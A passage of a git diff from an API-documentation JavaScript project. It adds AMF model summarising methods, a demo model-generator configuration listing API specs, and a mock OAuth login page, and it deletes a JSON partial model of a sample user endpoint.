result[smKey] = sm; + } + if (Array.isArray(endpoint[operationsKey])) { + result[operationsKey] = endpoint[operationsKey].map(op => this.summaryOperation(op)); + } + return result; + } + + /** + * @param {Operation} operation + * @returns {Operation} + */ + summaryOperation(operation) { + const { ns } = this; + const methodKey = this._getAmfKey(ns.aml.vocabularies.apiContract.method); + const expectsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.expects); + const securityKey = this._getAmfKey(ns.aml.vocabularies.security.security); + const descKey = this._getAmfKey(ns.aml.vocabularies.core.description); + const nameKey = this._getAmfKey(ns.aml.vocabularies.core.name); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const allowedKeys = ['@id', '@type', methodKey, nameKey, descKey]; + const result = /** @type Operation */ ({ '@id': '', '@type': [] }); + allowedKeys.forEach((key) => { + if (key in operation) { + result[key] = operation[key]; + } + }); + const sm = this.sourceMap(operation[smKey]); + if (sm) { + result[smKey] = sm; + } + if (Array.isArray(operation[expectsKey])) { + result[expectsKey] = operation[expectsKey].map(i => ({ '@id': i['@id'] })); + } + if (Array.isArray(operation[securityKey])) { + result[securityKey] = operation[securityKey].map(i => ({ '@id': i['@id'] })); + } + return result; + } + + /** + * @param {DomainElement[]} items + */ + sourceMap(items) { + if (!Array.isArray(items) || !items.length) { + return null; + } + const { ns } = this; + const result = []; + const lexicalKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.lexical); + const declaredElementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.declaredElement); + const elementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.element); + const trackedElementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.trackedElement); + const valueKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.value); + const synthesizedFieldKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.synthesizedField); + const allowedKeys = ['@id', lexicalKey, declaredElementKey, elementKey, trackedElementKey, valueKey, synthesizedFieldKey]; + items.forEach((item) => { + const cp = { }; + allowedKeys.forEach((key) => { + if (key in item) { + if (key === lexicalKey) { + cp[key] = item[key].map((field) => this._getValue(field, valueKey)); + return; + } + if (key === declaredElementKey) { + cp[key] = item[key].map((field) => this._getValue(field, elementKey)); + return; + } + if (key === trackedElementKey) { + cp[key] = item[key].map((field) => this._getValue(field, valueKey)); + return; + } + cp[key] = item[key]; + } + }); + result.push(cp); + }); + return result; + } + + /** + * @param {DomainElement} security + * @returns {DomainElement} + */ + summarySecurity(security) { + const { ns } = this; + const coreNameKey = this._getAmfKey(ns.aml.vocabularies.core.name); + const coreDisplayNameKey = this._getAmfKey(ns.aml.vocabularies.core.displayName); + const descKey = this._getAmfKey(ns.aml.vocabularies.core.description); + const typeKey = this._getAmfKey(ns.aml.vocabularies.security.type); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const allowedKeys = ['@id', '@type', coreNameKey, coreDisplayNameKey, descKey, typeKey]; + + const result = /** @type DomainElement */ ({}); + Object.keys(security).forEach((key) => { + if (allowedKeys.includes(key)) { + result[key] = security[key]; + return; + } + if (key === smKey) { + result[smKey] = this.sourceMap(security[key]); + return; + } + if (Array.isArray(security[key])) { + const values = []; + security[key].forEach((value) => { + if (typeof value === 'object' && value['@id']) { + values.push(value['@id']); + } + }); + if (values.length) { + result[key] = values; + } + } + }); + + return result; + } + + /** + * @param {string} domainId + * @param {object} context + * @returns {DomainElement|undefined} Model definition for a type. + */ + endpoint(domainId, context) { + const webApi = this._computeApi(this.amf); + const ep = this._computeEndpointModel(webApi, domainId); + if (!ep) { + return undefined; + } + const result = { ...ep }; + const { ns } = this; + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation); + const sm = this.sourceMap(result[smKey]); + if (sm) { + result[smKey] = sm; + } + if (Array.isArray(result[operationsKey])) { + result[operationsKey] = result[operationsKey].map((op) => { + const item = { ...op }; + const opSm = this.sourceMap(item[smKey]); + if (opSm) { + item[smKey] = opSm; + } + return item; + }); + } + if (context) { + result['@context'] = context; + } + return JSON.parse(JSON.stringify(result)); + } + + /** + * @param {string} domainId + * @param {object} context + * @returns {DomainElement|undefined} Model definition for a type. + */ + schema(domainId, context) { + const schema = this.computeTypeApiModel(this.amf, domainId); + if (!schema) { + return undefined; + } + const result = { ...schema }; + const { ns } = this; + const propertyKey = this._getAmfKey(ns.w3.shacl.property); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const sm = this.sourceMap(result[smKey]); + if (sm) { + result[smKey] = sm; + } + if (Array.isArray(result[propertyKey])) { + result[propertyKey] = result[propertyKey].map(r => this.summaryProperty(r)); + } + if (context) { + result['@context'] = context; + } + return JSON.parse(JSON.stringify(result)); + } + + /** + * @param {string} domainId + * @param {object} context + * @returns {DomainElement|undefined} Model definition for a type. + */ + securityRequirement(domainId, context) { + const schema = this.computeSecurityApiModel(this.amf, domainId); + if (!schema) { + return undefined; + } + const result = { ...schema }; + const { ns } = this; + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const sm = this.sourceMap(result[smKey]); + if (sm) { + result[smKey] = sm; + } + if (context) { + result['@context'] = context; + } + return JSON.parse(JSON.stringify(result)); + } + + /** + * @param {DomainElement} property + * @returns {DomainElement} + */ + summaryProperty(property) { + const result = {...property}; + const { ns } = this; + const rangeKey = this._getAmfKey(ns.w3.shacl.property); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const sm = this.sourceMap(result[smKey]); + if (sm) { + result[smKey] = sm; + } + if (Array.isArray(property[rangeKey])) { + result[rangeKey] = property[rangeKey].map(r => this.summaryRange(r)); + } + return result; + } + + /** + * @param {DomainElement} property + * @returns {DomainElement} + */ + summaryRange(property) { + const result = {...property}; + const { ns } = this; + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const sm = this.sourceMap(result[smKey]); + if (sm) { + result[smKey] = sm; + } + return result; + } + + /** + * Computes type definition model from web API and current selection. + * It looks for the definition in both `declares` and `references` properties. + * Returned value is already resolved AMF model (references are resolved). + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} Model definition for a type. + */ + computeTypeApiModel(model, domainId) { + const declares = this._computeDeclares(model); + const references = this._computeReferences(model); + return this._computeType(declares, references, domainId); + } + + /** + * Computes security scheme definition model from web API and current selection. + * It looks for the definition in both `declares` and `references` properties. + * Returned value is already resolved AMF model (references are resolved). + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} Model definition for the security scheme. + */ + computeSecurityApiModel(model, domainId) { + const declares = this._computeDeclares(model); + if (declares) { + const result = declares.find((item) => item['@id'] === domainId); + if (result) { + return this._resolve(result); + } + } + const references = this._computeReferences(model); + if (Array.isArray(references) && references.length) { + for (const reference of references) { + if (this._hasType(reference, this.ns.aml.vocabularies.document.Module)) { + const result = this.computeReferenceSecurity(reference, domainId); + if (result) { + return this._resolve(result); + } + } + } + } + return undefined; + } + + /** + * Computes a security model from a reference (library for example). + * @param {AmfDocument} reference AMF model for a reference to extract the data from + * @param {string} domainId Node ID to look for + * @returns {DomainElement|undefined} Type definition or undefined if not found. + */ + computeReferenceSecurity(reference, domainId) { + const declare = this._computeDeclares(reference); + if (!declare) { + return undefined; + } + let result = declare.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return item['@id'] === domainId; + }); + if (Array.isArray(result)) { + [result] = result; + } + return this._resolve(result); + } +} diff --git a/demo/model.js b/demo/model.js deleted file mode 100644 index 1388230..0000000 --- a/demo/model.js +++ /dev/null @@ -1,4 +0,0 @@ -const generator = require('@api-components/api-model-generator'); -generator('./demo/apis.json') -.then(() => console.log('Models created')) -.catch((cause) => console.error(cause)); diff --git a/demo/model.mjs b/demo/model.mjs new file mode 100644 index 0000000..02cf4b7 --- /dev/null +++ b/demo/model.mjs @@ -0,0 +1,76 @@ +import generator from '@api-components/api-model-generator'; + +/** @typedef {import('@api-components/api-model-generator/types').ApiConfiguration} ApiConfiguration */ + +/** @type {Map} */ +const config = new Map(); +config.set('demo-api/demo-api.raml', { type: "RAML 1.0" }); +config.set('array-body/array-body.raml', { type: "RAML 1.0" }); +config.set('google-drive-api/google-drive-api.raml', { type: "RAML 1.0" }); +config.set('appian-api/appian-api.raml', { type: "RAML 1.0" }); +config.set('nexmo-sms-api/nexmo-sms-api.raml', { type: "RAML 1.0" }); +config.set('APIC-15/APIC-15.raml', { type: "RAML 1.0" }); +config.set('apic-83/apic-83.raml', { type: "RAML 1.0" }); +config.set('APIC-282/APIC-282.raml', { type: "RAML 1.0" }); +config.set('APIC-289/APIC-289.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); +config.set('APIC-332/APIC-332.raml', { type: 'RAML 1.0' }); +config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" }); +config.set('APIC-429/APIC-429.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-483/APIC-483.raml', { type: "RAML 1.0" }); +config.set('APIC-463/APIC-463.raml', { type: "RAML 1.0" }); +config.set('APIC-553/APIC-553.raml', { type: "RAML 1.0" }); +config.set('APIC-560/APIC-560.yaml', { type: "ASYNC 2.0" }); +config.set('APIC-582/APIC-582.yaml', { type: "ASYNC 2.0" }); +config.set('APIC-631/APIC-631.raml', { type: "RAML 1.0" }); +config.set('APIC-641/APIC-641.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-649/APIC-649.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-650/APIC-650.yaml', { type: "OAS 3.0" }); +config.set('APIC-667/APIC-667.raml', { type: "RAML 1.0" }); +config.set('APIC-671/APIC-671.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-711/APIC-711.raml', { type: "RAML 1.0" }); +config.set('aap-1698/aap-1698.raml', { type: "RAML 1.0" }); +config.set('SE-10469/SE-10469.raml', { type: "RAML 1.0" }); +config.set('SE-11155/SE-11155.raml', { type: "RAML 1.0" }); +config.set('SE-11415/SE-11415.raml', { type: "RAML 1.0" }); +config.set('SE-11508/SE-11508.raml', { type: "RAML 1.0" }); +config.set('SE-12291/SE-12291.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" }); +config.set('SE-12957/SE-12957.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-17897/SE-17897.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('SE-19500/SE-19500.raml', { type: "RAML 1.0" }); +config.set('oauth1-fragment/oauth1-fragment.raml', { type: "RAML 1.0" }); +config.set('oauth2-fragment/oauth2-fragment.raml', { type: "RAML 1.0" }); +config.set('type-fragment/type-fragment.raml', { type: "RAML 1.0" }); +config.set('documentation-fragment/documentation-fragment.raml', { type: "RAML 1.0" }); +config.set('lib-fragment/lib-fragment.raml', { type: "RAML 1.0" }); +config.set('example-fragment/example-fragment.raml', { type: "RAML 1.0" }); +config.set('multi-server/multi-server.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('async-api/async-api.yaml', { type: "ASYNC 2.0" }); +config.set('Streetlights/Streetlights.yaml', { type: "ASYNC 2.0" }); +config.set('api-keys/api-keys.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oauth-flows/oauth-flows.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oas-bearer/oas-bearer.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oauth-pkce/oauth-pkce.raml', { type: "RAML 1.0" }); +config.set('secured-unions/secured-unions.yaml', { type: "OAS 3.0" }); +config.set('secured-api/secured-api.raml', { type: "RAML 1.0" }); +config.set('oas-callbacks/oas-callbacks.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('documented-api/documented-api.raml', { type: "RAML 1.0" }); +config.set('annotated-api/annotated-api.raml', { type: "RAML 1.0" }); +config.set('examples-api/examples-api.raml', { type: "RAML 1.0" }); +config.set('enum-test/enum-test.raml', { type: "RAML 1.0" }); +config.set('oas-api/Petstore-v2.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); +config.set('new-oas3-types/new-oas3-types.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oas-api/read-only-properties.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('anyOf/anyOf.yaml', { type: 'ASYNC 2.0' }); +config.set('steveTest-1/stevetest.json', { type: 'OAS 2.0' }); +config.set('mocking-service/mocking-service.raml', { type: 'RAML 1.0' }); +config.set('no-endpoints/no-endpoints.raml', { type: 'RAML 1.0' }); +config.set('no-server/no-server.raml', { type: 'RAML 1.0' }); +config.set('prevent-xss/prevent-xss.json', { type: 'OAS 2.0', mime: 'application/json' }); +config.set('loan-ms/loan-microservice.json', { type: 'OAS 2.0', mime: 'application/json' }); + +generator.generate(config, { + dest: 'demo/models/', + src: 'demo/apis/', +}); diff --git a/demo/oauth-authorize.html b/demo/oauth-authorize.html new file mode 100644 index 0000000..c5bd5a7 --- /dev/null +++ b/demo/oauth-authorize.html @@ -0,0 +1,83 @@ + + + + + + + Demo log in + + + + + + + + + diff --git a/demo/oauth-authorize.js b/demo/oauth-authorize.js new file mode 100644 index 0000000..76cb17b --- /dev/null +++ b/demo/oauth-authorize.js @@ -0,0 +1,41 @@ +import '@anypoint-web-components/anypoint-input/anypoint-input.js'; +import '@anypoint-web-components/anypoint-button/anypoint-button.js'; +import '@anypoint-web-components/anypoint-input/anypoint-masked-input.js'; +import { v4 } from '@advanced-rest-client/uuid-generator'; + +function setupFormAction() { + const u = new URL(window.location.href) + const state = u.searchParams.get('state'); + const redirectUri = decodeURIComponent(u.searchParams.get('redirect_uri')); + const type = u.searchParams.get('response_type'); + const codeParam = type === 'code' ? 'code' : 'access_token'; + const params = new URLSearchParams(); + params.set(codeParam, v4()); + params.set('state', state); + params.set('expires_in', '3600'); + params.set('scope', 'dummy'); + if (type !== 'code') { + params.set('token_type', 'bearer'); + params.set('refresh_token', v4()); + } + const formUrl = `${redirectUri}#${params.toString()}`; + const form = document.querySelector('form'); + form.action = formUrl; +} + +function loginHandler() { + const form = document.querySelector('form'); + window.location.assign(form.action); +} + +function addButtonAction() { + const button = document.querySelector('.login-button'); + button.addEventListener('click', loginHandler); +} + +function initialize() { + setupFormAction(); + addButtonAction(); +} + +initialize(); diff --git a/demo/partial-model/documentation.json b/demo/partial-model/documentation.json deleted file mode 100644 index b6c4117..0000000 --- a/demo/partial-model/documentation.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "@id": "#197", - "@type": "schema-org:CreativeWork", - "schema-org:description": "*This API is very important*", - "schema-org:title": "Legal", - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} \ No newline at end of file diff --git a/demo/partial-model/endpoint.json b/demo/partial-model/endpoint.json deleted file mode 100644 index ad7e332..0000000 --- a/demo/partial-model/endpoint.json +++ /dev/null @@ -1,906 +0,0 @@ -{ - "@id": "#68", - "@type": "http:EndPoint", - "http:path": "/api/user", - "hydra:supportedOperation": [ - { - "@id": "#138", - "@type": "hydra:Operation", - "schema-org:description": "Update a user in db", - "schema-org:name": "Update a user", - "hydra:method": "put", - "hydra:returns": { - "@id": "#139", - "@type": "http:Response", - "http:payload": { - "@id": "#140", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#37" - } - }, - "schema-org:name": "201", - "hydra:statusCode": "201" - } - }, - { - "@id": "#115", - "@type": "hydra:Operation", - "http://a.ml/vocabularies/security#security": { - "@id": "#137", - "@type": "http://a.ml/vocabularies/security#ParametrizedSecurityScheme", - "http://a.ml/vocabularies/security#name": "myOtherAuth", - "http://a.ml/vocabularies/security#scheme": { - "@id": "#63", - "@type": "http://a.ml/vocabularies/security#SecurityScheme", - "http://a.ml/vocabularies/security#name": "myOtherAuth", - "http://a.ml/vocabularies/security#settings": { - "@id": "#64", - "@type": [ - "http://a.ml/vocabularies/security#Settings", - "http://a.ml/vocabularies/security#OAuth2Settings" - ], - "http://a.ml/vocabularies/security#accessTokenUri": "https://authserver.example/token", - "http://a.ml/vocabularies/security#authorizationGrant": "client_credentials", - "http://a.ml/vocabularies/security#authorizationUri": "", - "http://a.ml/vocabularies/security#scope": { - "@id": "#65", - "@type": "http://a.ml/vocabularies/security#Scope", - "http://a.ml/vocabularies/security#name": "accounts" - } - }, - "http://a.ml/vocabularies/security#type": "OAuth 2.0" - } - }, - "schema-org:description": "Create a user in db", - "schema-org:name": "Create a user", - "hydra:expects": { - "@id": "#116", - "@type": "http:Request", - "http:header": { - "@id": "#117", - "@type": "http:Parameter", - "http:binding": "header", - "http:paramName": "Content-Type", - "http:schema": { - "@id": "#118", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#120", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#121", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "application/json" - }, - "shacl:raw": "application/json" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:defaultValue": { - "@id": "#119", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "application/json" - }, - "shacl:defaultValueStr": "application/json", - "shacl:name": "schema" - }, - "schema-org:name": "Content-Type", - "hydra:required": true - }, - "http:payload": { - "@id": "#122", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#123", - "@type": [ - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape", - "doc:DomainElement" - ], - "shacl:closed": false, - "shacl:name": "schema", - "shacl:property": [ - { - "@id": "#124", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#125", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#126", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#127", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Pepe" - }, - "shacl:raw": "Pepe" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "name" - }, - "shacl:minCount": 1, - "shacl:name": "name", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#name" - } - }, - { - "@id": "#133", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#134", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "birthday" - }, - "shacl:minCount": 1, - "shacl:name": "birthday", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#birthday" - } - }, - { - "@id": "#128", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#129", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#130", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#131", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Perez" - }, - "shacl:raw": "Perez" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "lastname" - }, - "shacl:minCount": 1, - "shacl:name": "lastname", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#lastname" - } - }, - { - "@id": "#132", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#12" - }, - "shacl:minCount": 1, - "shacl:name": "address", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#address" - } - } - ] - } - } - }, - "hydra:method": "post", - "hydra:returns": { - "@id": "#135", - "@type": "http:Response", - "http:payload": { - "@id": "#136", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#37" - } - }, - "schema-org:name": "201", - "hydra:statusCode": "201" - } - }, - { - "@id": "#69", - "@type": "hydra:Operation", - "http://a.ml/vocabularies/security#security": { - "@id": "#114", - "@type": "http://a.ml/vocabularies/security#ParametrizedSecurityScheme", - "http://a.ml/vocabularies/security#name": "auth", - "http://a.ml/vocabularies/security#scheme": { - "@id": "#55", - "@type": "http://a.ml/vocabularies/security#SecurityScheme", - "http://a.ml/vocabularies/security#name": "auth", - "http://a.ml/vocabularies/security#settings": { - "@id": "#56", - "@type": [ - "http://a.ml/vocabularies/security#Settings", - "http://a.ml/vocabularies/security#OAuth1Settings" - ], - "http://a.ml/vocabularies/security#additionalProperties": { - "@id": "#57", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#accessTokenUri": { - "@id": "#58", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "https://authserver.example/token" - }, - "http://a.ml/vocabularies/data#authorizationGrants": { - "@id": "#59", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#60" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#60", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "client_credentials" - } - }, - "http://a.ml/vocabularies/data#scopes": { - "@id": "#61", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#62" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#62", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "accounts" - } - } - }, - "http://a.ml/vocabularies/security#authorizationUri": "", - "http://a.ml/vocabularies/security#requestTokenUri": "requestTokenUriValue", - "http://a.ml/vocabularies/security#signature": [ - "signature2", - "signature1" - ], - "http://a.ml/vocabularies/security#tokenCredentialsUri": "tokenCredentialsUriValue" - }, - "http://a.ml/vocabularies/security#type": "OAuth 1.0" - } - }, - "schema-org:description": "Get all users from db", - "schema-org:name": "Get all users", - "hydra:expects": { - "@id": "#70", - "@type": "http:Request", - "http:header": [ - { - "@id": "#108", - "@type": "http:Parameter", - "http:binding": "header", - "http:paramName": "Authorization", - "http:schema": { - "@id": "#109", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#110", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#111", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Bearer 1d230676-a812-4438-bfeb-e46bad62bdf1" - }, - "shacl:raw": "Bearer 1d230676-a812-4438-bfeb-e46bad62bdf1" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "schema" - }, - "schema-org:name": "Authorization", - "hydra:required": true - }, - { - "@id": "#104", - "@type": "http:Parameter", - "http:binding": "header", - "http:paramName": "Content-Type", - "http:schema": { - "@id": "#105", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#106", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#107", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "application/json" - }, - "shacl:raw": "application/json" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "schema" - }, - "schema-org:name": "Content-Type", - "hydra:required": true - } - ], - "http:parameter": [ - { - "@id": "#71", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "booleanParameter", - "http:schema": { - "@id": "#72", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#boolean" - }, - "shacl:name": "schema" - }, - "schema-org:name": "booleanParameter", - "hydra:required": false - }, - { - "@id": "#82", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "numberParameter", - "http:schema": { - "@id": "#83", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:name": "schema" - }, - "schema-org:name": "numberParameter", - "hydra:required": false - }, - { - "@id": "#76", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "nestedArrayParameter", - "http:schema": { - "@id": "#77", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ArrayShape", - "raml-shapes:MatrixShape" - ], - "raml-shapes:items": { - "@id": "#78", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ArrayShape" - ], - "raml-shapes:items": { - "@id": "#79", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "items" - }, - "shacl:name": "items" - }, - "shacl:name": "schema" - }, - "schema-org:name": "nestedArrayParameter", - "hydra:required": false - }, - { - "@id": "#84", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "enumParemeter", - "http:schema": { - "@id": "#85", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:in": { - "@id": "#85/list", - "@type": "http://www.w3.org/2000/01/rdf-schema#Seq", - "http://www.w3.org/2000/01/rdf-schema#_1": { - "@id": "#87", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "EnumValue1" - }, - "http://www.w3.org/2000/01/rdf-schema#_2": { - "@id": "#88", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "EnumValue2" - }, - "http://www.w3.org/2000/01/rdf-schema#_3": { - "@id": "#89", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "EnumValue3" - } - }, - "shacl:name": "type" - }, - "schema-org:name": "enumParemeter", - "hydra:required": false - }, - { - "@id": "#73", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "arrayParameter", - "http:schema": { - "@id": "#74", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ArrayShape" - ], - "raml-shapes:items": { - "@id": "#75", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "items" - }, - "shacl:name": "schema" - }, - "schema-org:name": "arrayParameter", - "hydra:required": false - }, - { - "@id": "#91", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "objectParameter", - "http:schema": { - "@id": "#92", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "shacl:closed": false, - "shacl:name": "schema", - "shacl:property": [ - { - "@id": "#97", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#98", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:in": { - "@id": "#98/list", - "@type": "http://www.w3.org/2000/01/rdf-schema#Seq", - "http://www.w3.org/2000/01/rdf-schema#_1": { - "@id": "#99", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "ObjectPropertyEnumValue1" - }, - "http://www.w3.org/2000/01/rdf-schema#_2": { - "@id": "#100", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "ObjectPropertyEnumValue2" - }, - "http://www.w3.org/2000/01/rdf-schema#_3": { - "@id": "#101", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "ObjectPropertyEnumValue3" - } - }, - "shacl:name": "objectProperty3" - }, - "shacl:minCount": 1, - "shacl:name": "objectProperty3", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#objectProperty3" - } - }, - { - "@id": "#95", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#96", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:name": 